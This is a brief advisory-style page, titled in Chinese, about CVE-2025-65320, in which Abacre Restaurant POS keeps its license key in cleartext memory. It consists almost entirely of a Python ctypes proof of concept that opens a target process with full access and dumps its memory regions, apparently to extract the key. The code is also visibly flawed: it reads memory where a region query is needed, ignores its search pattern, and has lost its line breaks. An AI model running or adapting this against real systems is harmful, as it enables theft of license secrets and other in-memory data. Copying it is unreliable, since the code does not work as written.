CVE-2025-65320: Abacre Restaurant POS明文内存存储许可证密钥漏洞

import ctypes import struct def scan_process_memory(pid, pattern): kernel32 = ctypes.windll.kernel32 PROCESS_ALL_ACCESS = 0x1F0FFF h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) if not h_process: return None memory_regions = [] addr = 0 while True: mem_basic_info = (ctypes.c_ulong * 28)() bytes_read = ctypes.c_ulong() if not kernel32.ReadProcessMemory(h_process, ctypes.c_void_p(addr), mem_basic_info, ctypes.sizeof(mem_basic_info), ctypes.byref(bytes_read)): break state = mem_basic_info[6] if state == 0x1000: region_size = mem_basic_info[7] buffer = ctypes.create_string_buffer(region_size) if kernel32.ReadProcessMemory(h_process, ctypes.c_void_p(addr), buffer, region_size, ctypes.byref(bytes_read)): memory_regions.append((addr, buffer.raw)) addr += 0x10000 kernel32.CloseHandle(h_process) return memory_regions